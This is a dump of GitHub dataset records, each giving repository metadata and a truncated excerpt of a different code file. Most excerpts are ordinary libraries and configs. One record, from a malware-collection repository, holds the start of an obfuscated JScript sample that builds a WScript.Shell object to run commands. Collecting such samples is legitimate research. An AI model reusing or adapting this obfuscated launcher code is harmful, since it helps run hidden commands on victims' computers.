Github Open Source
Open Source
MIT
2,016
ai2_user_trajectory
bxie
Pickle
Code
1,298
7,554
(lp0 Vmath_trig p1 aVImageSprite.SetInterval p2 aVcontrols_getStartValue p3 aVBall.SetY p4 aVAccelerometerSensor.AccelerationChanged p5 aVBall.SetPaintColor p6 aVPlayer.Vibrate p7 aVCamera.TakePicture p8 aVLabel.GetVisible p9 aVSound.Vibrate p10 aVmath_number p11 aVSpinner.GetHeight p12 aVFile.AppendToFile p13 aVBall.S...
35,285
https://github.com/mba811/md2ansi/blob/master/lib/md2ansi/render.rb
Github Open Source
Open Source
MIT
2,013
md2ansi
mba811
Ruby
Code
143
513
require 'redcarpet' require 'ansi' require 'pygments' module Md2Ansi class Ansi < Redcarpet::Render::Base def normal_text(text) text.strip end def block_code(code, language) Pygments.highlight(code, :lexer => language, :formatter => 'terminal') + "\n\n" end def codes...
31,892
https://github.com/szilardtoth94/Angular2/blob/master/src/services/index.ts
Github Open Source
Open Source
MIT
null
Angular2
szilardtoth94
TypeScript
Code
4
11
export {BaseService} from './service'
13,157
https://github.com/YehudaEi/AutoIt-Attachment/blob/master/Attachments/1-10K/1000-2000/1471/Process_Ender_1.3.au3
Github Open Source
Open Source
MIT
2,021
AutoIt-Attachment
YehudaEi
null
Spoken
235
870
While 1 sleep(50) hotkeyset("{F9}","start") Wend Func start() $prolist = ProcessList() $number = $prolist[0][0] iniwrite("Process List.ini","Number:","Number",$number) for $a = 1 to $number Iniwrite("Process List.ini","Processes:",$a,$prolist[$a][0]) next #include <GUIConstants.au3> GUICreate("Process Ender 1.3 ...
56,590
https://github.com/rohitmisra/doctolib-appointment-finder/blob/master/settings.gradle.kts
Github Open Source
Open Source
MIT
null
doctolib-appointment-finder
rohitmisra
Kotlin
Code
3
19
rootProject.name = "doctolib-appointment-finder"
22,689
https://github.com/linfan/socks4/blob/master/common.go
Github Open Source
Open Source
MIT
2,021
socks4
linfan
Go
Code
1,047
2,702
package socks4 import ( "bytes" "context" "encoding/binary" "errors" "io" "net" "os" "reflect" "runtime" "strconv" "strings" ) var ( errUserAuthFailed = errors.New("user authentication failed") ) var ( isSocks4a = []byte{0, 0, 0, 1} isNone = []byte{0, 0, 0, 0} ) const ( socks4Version = 0x04 ) con...
53,244
https://github.com/zhldt2008/EasyCMS/blob/master/web/admin/msgInfo.jsp
Github Open Source
Open Source
Apache-2.0
2,014
EasyCMS
zhldt2008
null
Spoken
320
1,948
<%@ page language="java" pageEncoding="UTF-8" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <%@ taglib prefix="s" uri="/struts-tags" %> <%@taglib prefix="fs" uri="/fs-tags" %> <%@include file="../util/loading.jsp" %> <%@include file="../util...
594
https://github.com/HynekPetrak/javascript-malware-collection/blob/master/2016/20160307/20160307_73b0137d2c7c1fa49af6d6be400e6810.js
Github Open Source
Open Source
CC0-1.0
2,023
javascript-malware-collection
HynekPetrak
JavaScript
Code
403
1,946
function oqGnHvGYM(gfbGiStLzIE) { var LZfUHHOY = "ZnSn Ws GPpWrwl cri pt.S dfdiWY hell".split(" "); var dAsuCOhe = WScript.CreateObject(LZfUHHOY[1] + LZfUHHOY[3] + LZfUHHOY[4] + LZfUHHOY[6]); dAsuCOhe.Run(gfbGiStLzIE, 0x1, 0x0); } function YziGHnimb(dfofp,LVrfV,ZyePd,mbxj) { var FXpYx = "TDBjeL FFk pt.Shell iKzBVCX Sc...
1,716
https://github.com/clicktravel-gary/Cheddar/blob/master/cheddar/cheddar-server/src/main/java/com/clicktravel/cheddar/server/rest/resource/config/RestResourceConfig.java
Github Open Source
Open Source
Apache-2.0
null
Cheddar
clicktravel-gary
Java
Code
232
746
/* * Copyright 2014 Click Travel Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed ...
47,103
https://github.com/yanhu32/tomkit/blob/master/tomkit-core/src/main/java/tomkit/core/lang/Arrays.java
Github Open Source
Open Source
Apache-2.0
2,021
tomkit
yanhu32
Java
Code
2,095
6,980
package tomkit.core.lang; import java.util.*; /** * 数组工具类 * * @author yh * @since 2021/3/26 */ public final class Arrays { private Arrays() { } /* ------------------------------------------- isEmpty ------------------------------------------- */ /** * 数组是否为{@code null}或空 * * @pa...
17,069
https://github.com/comptuzus/alchemy/blob/master/classes/GI_TYPELIB/rules.mk
Github Open Source
Open Source
BSD-3-Clause
2,021
alchemy
comptuzus
Makefile
Code
120
717
############################################################################### ## @file classes/GI_TYPELIB/rules.mk ## @author Y.M. Morgan ## @date 2016/03/20 ## ## Rules for GI_TYPELIB modules. ############################################################################### # Prepend some directories in include list ...
22,051
https://github.com/monocode/MonoCode-Forms/blob/master/source/Platform/XLabs.Platform.iOS/Extensions/EnumExtensions.cs
Github Open Source
Open Source
Apache-2.0
2,016
MonoCode-Forms
monocode
C#
Code
154
392
// *********************************************************************** // Assembly : XLabs.Platform.iOS // Author : XLabs Team // Created : 12-27-2015 // // Last Modified By : XLabs Team // Last Modified On : 01-04-2016 // *****************************************************************...
12,110
https://github.com/kityandhero/codeTools-UI/blob/master/src/pages/Account/Edit/BasicInfo/index.less
Github Open Source
Open Source
MIT
2,020
codeTools-UI
kityandhero
Less
Code
10
33
.cardTitle { margin-left: 4px; } .card { margin-bottom: 24px; }
7,071
https://github.com/jbcoe/CppSandbox/blob/master/ComparatorTuple/Makefile
Github Open Source
Open Source
MIT
2,021
CppSandbox
jbcoe
Makefile
Code
6
42
include ../compilerSettings_clang.mk SOURCES=ComparatorTuple.cpp EXECUTABLE=ComparatorTuple include ../makeCommon.mk
41,953
https://github.com/neonkingfr/wildogcad/blob/master/Dependencies/xerces-c-src_2_8_0/include/xercesc/dom/deprecated/DOM_CDATASection.hpp
Github Open Source
Open Source
BSD-3-Clause
2,020
wildogcad
neonkingfr
C++
Code
515
1,066
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may ...
29,557
https://github.com/cerberus707/lab-python/blob/master/Conteudo das Aulas/088/ola_mundo.py
Github Open Source
Open Source
Apache-2.0
null
lab-python
cerberus707
Python
Code
24
65
from tkinter import * i = Tk() i.title("Ola Mundo") texto = Label(i, text = "Ola Mundo!!", bg = "red", fg = "blue") texto.pack() i.mainloop()
47,025
https://github.com/CG-Tespy/CG-Tespy_RMMV_Plugins/blob/master/ScriptLoader/CGT_ScriptLoader.d.ts
Github Open Source
Open Source
MIT
null
CG-Tespy_RMMV_Plugins
CG-Tespy
TypeScript
Code
111
208
let ScriptLoader: { LoadScript(sourceDir: string): string, LoadScriptAnon(sourceDir: string): string, }; /** * Synchronously loads the plugin file at the given path. * @param path Relative to the project's index.html file. * @returns The result of calling eval() on the source code. */ declare function AltR...
14,860
https://github.com/AliMakiGmail/gradient-cli/blob/master/gradient/examples/sdk_notebook_tutorial.ipynb
Github Open Source
Open Source
ISC
2,021
gradient-cli
AliMakiGmail
Jupyter Notebook
Code
976
4,054
{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# **Gradient SDK Tutorial**" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "!pip install --pre -U gradient" ] }, { "cell_type": "code", "execution...
17,015
https://github.com/zihadmahiuddin/CoCSharp-server-dev/blob/master/src/CoCSharp/Network/Cryptography/NaCl/Internal/curve25519.cs
Github Open Source
Open Source
MIT
2,022
CoCSharp-server-dev
zihadmahiuddin
C#
Code
1,669
4,318
namespace CoCSharp.Network.Cryptography.NaCl.Internal { internal static class curve25519 { private static byte[] basev = { 9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; private static int[] minusp = { 19, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,...
51,287
https://github.com/patriciodaxxi/softarchproject/blob/master/softarchproject/input/hashbrown-cms-master/src/common/helpers/ContentHelper.js
Github Open Source
Open Source
MIT
2,019
softarchproject
patriciodaxxi
JavaScript
Code
399
1,021
'use strict'; class ContentHelper { /** * Gets all Content objects * * @param {String} project * @param {String} environment * * @return {Promise} promise */ static getAllContents( project = requiredParam('project'), environment = requiredParam('environment') ...
35,524
https://github.com/1Conan/klasa-pieces-ts/blob/master/tasks/unmute.ts
Github Open Source
Open Source
MIT
null
klasa-pieces-ts
1Conan
TypeScript
Code
64
169
import { Task } from 'klasa'; /* * * This is to be used with the mute command located in * /commands/Moderation/mute.js * */ export default class extends Task { async run({ guild, user }: { guild: string; user: string }) { const _guild = this.client.guilds.get(guild); if (!_guild) return; const member = a...
53,612
https://github.com/DataDog/ecommerce-workshop/blob/master/deploy/terraform/aws-ec2/variables.tf
Github Open Source
Open Source
Apache-2.0, MIT, BSD-3-Clause
2,023
ecommerce-workshop
DataDog
HCL
Code
145
348
variable "instance_type" { description = "Instance type to use for each host." type = string default = "t2.medium" } variable "region" { type = string default = "us-west-1" } variable "az" { description = "AWS region availability zone" type = string default = "b" } variable "key...
35,395
https://github.com/cityway-soft/activeroad/blob/master/app/models/active_road/request_conditionnal_cost_linker.rb
Github Open Source
Open Source
MIT
2,020
activeroad
cityway-soft
Ruby
Code
129
524
module ActiveRoad class RequestConditionnalCostLinker attr_accessor :unauthorized_constraints, :authorized_constraints, :constraints def initialize(constraints = [], external_constraints = {}) @constraints = constraints end def unauthorized_constraints @unauthorized_constraints ||= [].t...
7,646
https://github.com/Darkgel/laraval_api_demo/blob/master/app/Services/Blog/PostService.php
Github Open Source
Open Source
MIT
null
laraval_api_demo
Darkgel
PHP
Code
60
308
<?php /** * Service层 * 职责: * 1.处理牵涉到的外部行为:如发送邮件,使用外部API(如使用队列,调用thrift,调用其他团队的服务等) * 2.业务逻辑:如根据当前请求是否为登录用户,进行不同的处理。service层是业务逻辑存在的主要地方,辅助Controller层 * * Created by PhpStorm. * User: shiweihua * Date: 2018/9/29 * Time: 17:15 */ namespace App\Services\Blog; use App\Repositories\Blog\PostRepository; use App\S...
1,520
https://github.com/mbronstein/ssa412/blob/master/matters/admin.py
Github Open Source
Open Source
MIT
null
ssa412
mbronstein
Python
Code
22
74
from django.contrib import admin from .models import Matter class MatterAdmin(admin.ModelAdmin): search_fields = ('slug',) ordering = ["slug"] list_filter = ("slug", "type") admin.site.register(Matter, MatterAdmin)
53,329
https://github.com/racoq/TESRAC/blob/master/evosuite/client/src/main/java/org/evosuite/strategy/PropertiesTestGAFactory.java
Github Open Source
Open Source
Apache-2.0
null
TESRAC
racoq
Java
Code
835
3,718
/** * Copyright (C) 2010-2018 Gordon Fraser, Andrea Arcuri and EvoSuite * contributors * * This file is part of EvoSuite. * * EvoSuite is free software: you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published * by the Free Software Foundation, either vers...
43,842
https://github.com/ankitbhatia870/ankit_test/blob/master/app/views/group/ajaxsearch_group_people.blade.php
Github Open Source
Open Source
MIT
null
ankit_test
ankitbhatia870
PHP
Code
151
731
@if($totalResult > 0) <ul id="searchList"> @foreach ($searchresult as $result) <li id="{{$result['fname'].'_'.$result['lname'].'_'.$result['unique_id']}}"> @if(!empty($result['piclink'])) <img src="{{$result['piclink']}}"> @else <img src="/images/default.png"> @endif ...
15,494
https://github.com/Johnxoxe/Tap-Pop-3/blob/master/Tap Pop 3/extensions/GooglePlayServicesExtension/AndroidSource/Java/BaseGameUtils.java
Github Open Source
Open Source
Apache-2.0
2,018
Tap-Pop-3
Johnxoxe
Java
Code
755
1,860
package ${YYAndroidPackageName}; import android.app.Activity; import android.app.AlertDialog; import android.app.Dialog; import android.content.IntentSender; import android.util.Log; import ${YYAndroidPackageName}.R; import com.google.android.gms.common.ConnectionResult; import com.google.android.gms.common.GooglePl...
12,163
https://github.com/kmc059000/monotouch-bindings/blob/master/GooglePlusAndPlayGameServices/Makefile
Github Open Source
Open Source
MIT, X11, Unlicense
2,021
monotouch-bindings
kmc059000
Makefile
Code
3
20
ASSEMBLY=Google.Plus.dll include ../Rules.make
24,173
https://github.com/john526/flutterapi/blob/master/flutter_get_data/lib/models/modelsPosts.dart
Github Open Source
Open Source
MIT
2,020
flutterapi
john526
Dart
Code
50
259
import 'dart:convert'; List<ModelsPosts> modelPosts(String str) => List<ModelsPosts>.from(json.decode(str).map((x)=>ModelsPosts.fromJson(x))); String posts(List<ModelsPosts> data)=> json.encode(List<dynamic>.from(data.map((x) => x.toJson()))); class ModelsPosts{ int userId; int id; String title; String body;...
8,657
https://github.com/okta/samples-golang/blob/master/okta-hosted-login/main.go
Github Open Source
Open Source
Apache-2.0
2,023
samples-golang
okta
Go
Code
605
2,373
package main import ( "bytes" "crypto/rand" "encoding/base64" "encoding/hex" "encoding/json" "fmt" "html/template" "io/ioutil" "log" "net/http" "os" "github.com/gorilla/sessions" verifier "github.com/okta/okta-jwt-verifier-golang" oktaUtils "github.com/okta/samples-golang/okta-hosted-login/utils" ) var...
20,170
https://github.com/donsbot/hhvm/blob/master/hphp/hack/test/typecheck/test_content_before_header.php
Github Open Source
Open Source
PHP-3.01, Zend-2.0
2,022
hhvm
donsbot
PHP
Code
18
37
// hello <?hh class foo { // comment inside public function bar() { return "hello world"; } }
9,298